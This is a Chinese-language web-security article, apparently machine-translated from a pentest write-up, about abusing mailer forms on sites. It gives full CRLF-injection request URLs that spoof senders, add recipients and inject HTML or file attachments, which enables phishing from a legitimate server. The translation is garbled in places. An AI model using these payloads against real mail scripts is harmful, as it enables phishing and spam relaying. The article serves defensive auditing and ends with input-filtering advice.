You are on page 1of 15

审计邮寄网页的脚本程序

“告诉朋友”的形式例子

以下是一个例子“告诉朋友”的形式,为用户提供太多控制参数的电子邮件被

发送。在这种情况下,用户有充分发件人控制电子邮件地址

( from_email_address 参数),并且可以定制的电子邮件机构( message 参

数):

<form name="mailFriendFrm" action="/tellFriend.php?prodID=1"

method="post">

<input type="text" name="from_name" />

<input type="text" name="from_email_address" />

<input type="text" name="to_name" />

<input type="text" name="to_email_address" />

<textarea name="message" cols="40" rows="8"></textarea>

<input type="image" src="b_send.gif" title=" Send " />

</form>
这时提交的浏览器,将转化为 HTTP 请求,例如下面内容(不相关的标题头

已被删除,理由很明确):

POST /tellFriend.php?prodID=1 HTTP/1.1

from_name=Bad+Guy&from_email_address=spoofed

%40target.foo&to_name=Victim+User&to_email_address=victim

%40target.foo&message=Social+engineering+message+goes+here

%21&x=43&y=39
图为“告诉朋友”的形式

一些邮寄脚本可能包括其他信息,用户无法控制-至少在理论-正文中发送

的电子邮件。在这种情况下,社会工程行为(即:网络钓鱼)正在减少,因为

攻击者并不是完全控制的内容包括在电子邮件的机构。

例如,一种形式,如前一个允许用户告诉朋友关于产品提供购买的访问站点。

因此,它将使感觉脚本所附的连接点,所涉及产品中的电子邮件的主题中。不

管目标脚本添加自己的内容的电子邮件主题是 implementation-specific。
“联系我们”的形式例如

下面的例子是一个“联系我们”的形式-尽管并非有计划的允许访问者选自收

件人电子邮件地址,由于设计不良,可能这样做有点弄虚作假。

图为 “ 联系

我们”形式

通过使用网

络浏览器观察

HTML 源 代 码 ,

下 面 的

“ hidden” 输 入

栏位显示:
<input type="hidden" name="mailto" value="inquiries@target.foo"/>

允许恶意用户控制电子邮件地址。这仅仅可能是因为服务器端的脚本相信邮

寄的投入,从客户端可以明显被操纵。显然,“联系我们”形式不应该允许用户

设置的接收电子邮件地址的电子邮件通常会发送到一个固定的地址。

位于服务器端的邮件将脚本中指定的联络表单“action”属性:

<form action="/contactus.jsp" name="contactusForm" method="post">

以下是一些技术可能被用来操纵上述电子邮件地址参数:

○ 保 存 到 本 地 , 编 辑 hidden 参 数 。 ( 即 : from inquiries@target.foo 到

spammed.user@freemail.foo )并提交表单。注意:如果 URL 指定的 action 属

性是相对的,将需要改变其绝对等同成分。即: actionfrom /contactus.jsp 到

http://target.foo/contactus.jsp

○拦截“submit”内容,MITM proxy 工具修改的 hidden 参数,并最终提出请求。

○ 用本地网页浏览器插件可以让您编辑属性 HTML 形式(而在访问网站)。

然后提交表单。
绕过限制通过邮寄脚本 CRLF 注入

他可能发生,我们是有限的,什么参数处理的目标邮寄脚本可以设置 /篡改,

并没有先前提到的技巧运作。例如,在我们的案例研究,实验现场的环境主办

了“电子邮件购物篮”功能。乍一看,邮寄脚本似乎只允许用户设置电子邮件“这

时一种为了满足主题和一个收件人”电子邮件地址:

http://www.target.foo/action/email_basket?next-

url=myaccount&name=recipients

%20name&email=pentester@procheckup.com&subject=My%20own

%20subject

申 请 前 的 网 址 会 导 致 电 子 邮 件 被 发 送 sales@target.foo 到

pentester@procheckup.com 的主题是自己的题目。电子邮件主题将包括目前的

内容购物蓝理。

添加额外的收件人
第一个问题确定的是,电子邮件参数不会过滤逗号“ ,”符号,从而使多个收件

人必须同时通过电子邮件:

http://www.target.foo/action/email_basket?next-

url=myaccount&name=recipients

%20name&email=pentester@procheckup.com,pentester2@procheckup.com&

subject=My%20own%20subject

来自 Email 的邮件头:

From: Sales <sales@target.foo>

To: pentester@procheckup.com, pentester2@procheckup.com

注意:一个单一的空间将自动增加的 TO:邮件头之间每个收件人地址,即使

没有指定请求的 URL。

在这一点上,限制最多的一个收件人已失败。

改变内容类型
另一个限制,我们希望内容类型的电子邮件是被设置为纯文本的邮件脚本。

因此,驳回的组成 HTML 邮件格式定制,这将是理想的钓鱼攻击。

来自 Email 的邮件头:

Content-Type: text/plain; charset=utf-8

原来,在 email_basket 脚本是易受攻击的 CRLFi,对这个 subject 参数由于缺

乏输入验证:

http://www.target.foo/action/email_basket?next-

url=myaccount&name=recipients

%20name&email=pentester@procheckup.com,pentester2@procheckup.com&

subject=My%20own%20subject%0d%0aContent-Type:%20text/html;

%20charset=utf-8

这将导致在原来的 Content-type 邮件头被忽视的电子邮件客户端(测试

Thunderbird 2 和 Outlook 2007):

Subject: My own subject Content-Type: text/html; charset=utf-8


Content-Type: text/plain; charset=utf-8

警告:本文进行了测试要求特制的 URL 在一个网页浏览器的地址栏,这得到

转化为 GET HTTP 的浏览器。在这种情况下,邮件的脚本易受攻击的电子邮件

时提交要求或者提交的 GET 或 POST。

如果你的脚本审计只接受 POST 请求,您应注意百分号“%”字符,因为它会转

换为“25%”,从而利用失败,即使目标脚本很容易 CRLFi。

下一步是要插入 HTML 内容的电子邮件主体部分。不幸的是,邮寄脚本使用

的是全站 XSS 过滤规则,这将导致角括号被过滤。因此,虽然我们设法设置电

子邮件的内容类型为 HTML,风险减轻。

因此,还有什么可以做,我们要插入无限制的电子邮件内容? 答案是文件附

件。电子邮件附件只不过是一个 base64 相当于字符串所附文件的二进制数据。

既然 base64 编码不需要括号,这正是完美地解决了我们的问题。现在,我们可

以插入任何内容类型的电子邮件,而无需尖括号包括图像,或甚至可执行文件

(如果没有被过滤网关)。

重视任意文件
我们的最终证明的概念如下:

○同时发送几个“购物篮”电子邮件收件人

○放置的 Subject 内容“hacker safe?”

○在主体内插入我们的定制信息“NOT THAT SAFE REALLY!”

○重视文件“hacker_safe.gif”

因为一切都过去后,分界线分隔忽视了电子邮件客户端的原机构的电子邮件

(购物篮内容)是不显示的。因此,我们获得完全控制机构的电子邮件和管理

的补充附件:

http://www.target.foo/action/email_basket?next-

url=myaccount&name=recipients

%20name&email=pentester@procheckup.com,pentester2@procheckup.com&

subject=hacker%20safe?%0d%0aContent-Type:

%20multipart/mixed;boundary="------------030806070106060901060000"%0d

%0aThis%20is%20a%20multi-part%20message%20in%20MIME%20format.

%0d%0a--------------030806070106060901060000%0d%0aContent-Type:

text/plain;charset=ISO-8859-1;format=flowed%0d%0aContent-Transfer-
Encoding:%207bit%0d%0a%0d%0aNOT%20THAT%20SAFE%20REALLY!%0d

%0a%0d%0a--------------030806070106060901060000%0d%0aContent-Type:

%20image/gif;name="hacker_safe.gif"%0d%0aContent-Transfer-Encoding:

%20base64%0d%0aContent-Disposition:%20inline;filename="hacker_safe.gif

%0d

%0aR0lGODlhMgAxAPcAAAEBARMUEyYmJiQoJDMzMw5zAUBAQERIQ05OTlxcX

GhpaGtra3p6ehq4BiD9AWb1YIWIhpycnK2vrK6ursPDw8/Pz9ra2t/f38H9zvv7%2

bv///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAMgAxAAAI/wAzCMxwoY

LBgwgTKlzIEOGFCwMHSjgQAIDFixgzatzI8WKAAxIiSqjYsaTJkwNCEjxwMgDJkzAx

HoBY4SXHAThd6tzp0mNGnRwD0GyJMUCBAg2SNoAAQcGBATZhDo0JKmDq1cfY

NiKQQKEqCantgzQACtWrVy3sqQq1iTUsmYdoE1LkW2GCjFdwjU7l2vdmG1L6o0r

%2b1WBWA7Bu44OG7fw4k5Lg5KlvBjDGsB381b1bJhzFQBTN5YsYDntBIGhB4dd

G9Ww19XbzZp0zRfw5k14w1d%2bWza2LJ3h7b92m9oi6xLEp%2bL

%2bLjo2c5towV%2bPLlJ01ohqHb

%2bXDh3pM25d/8XD0AnzvPb7XonXx5qZMXQPfYkXREoUO6TBzj9SFF/Xf1NBeD

fR1AdYCBOBj610WQHVKCdVwEokEFqAEBQgQQONtjURApc2FSHGI5k0UsMXgC

BhgFYWMFTFw4AwUQGSaAAAApcoABUHR4AwQXbkRjfRQM8FNKDCnilYXsDVL

AjXdNNFOIJPm4nkVBemVigyEeOYCBF0qQWo0nfmSQjSNKuVGQ2jkIokFFTuSlhjn

W6JR

%2bFbRZn5kapXSjVwGC5FSWeqbU1EEb6khheReNBhUAUC3KaEVbbreogAKeJ2

B7YLGGoKMj5uQRejlVil6mP14EUgUFHZqiQcA1mJBTCrH/JAADDAgwnkYNNqkkB

FQqSdB2EhJ0kALBFnThAQlooKwGCUwWLIdOWRSsQDMymcGJT0UoELYUWaBBB

BNoYEGJAnmoWooThiTis0yxFGyXLBlQKwXiThahrwKNlKSNIV3bkQZzDjtthfRawE
B%2bR1ArIW/HiAQRNRaK

%2bON1mr3FwHiEnBrUTteGVIFLgrr60jBVittvsRSjMAEEyBXKgC5DmRjktfi1K/CE

V80cMQMiOvylBYZ6iViLmon7ZsgTSSTl0wrvQAFLXcXlX028VQeT1hHmZhQSxbl

XlE7uccTggn%2bdZ9MEIvInnw7uaVSvn%2btnRdIAIvc0N14M/TQQAEBADs=

%0d%0a--------------030806070106060901060000--
图为完全控制机构的电子邮件和附件通过任意 CRLFi

最后,改变了延长附加文件 .gif。.exe 发现另一个问题是:危险的扩展没有被

封锁的邮件过滤网关!

重要的是要注意分析电子邮件标题不会帮助跟踪来源,这种类型的攻击,因

为这合法的邮件服务目标改公司是被用来提供电子邮件。

解决方案

攻击论述是唯一的可能,因为脆弱邮寄脚本没有过滤 CR“\r”和 LF“\n”字符。

因此,它是开发商的责任来过滤这些字符。

一 般来 说, 开发 商应 适用 于 white-listing 方式 输入 过 滤 ,而 不是 black-

listing。即:只接收字符预期反对过滤的字符已知是有害的。运用 white-listing

输入验证,应用更容易得到保护对今后的攻击。

最安全的解决方案是不输入,可操纵来自的客户端(即:电子邮件主题)

电子邮件中,除非绝对需要。
作者:C.Z.Y

You might also like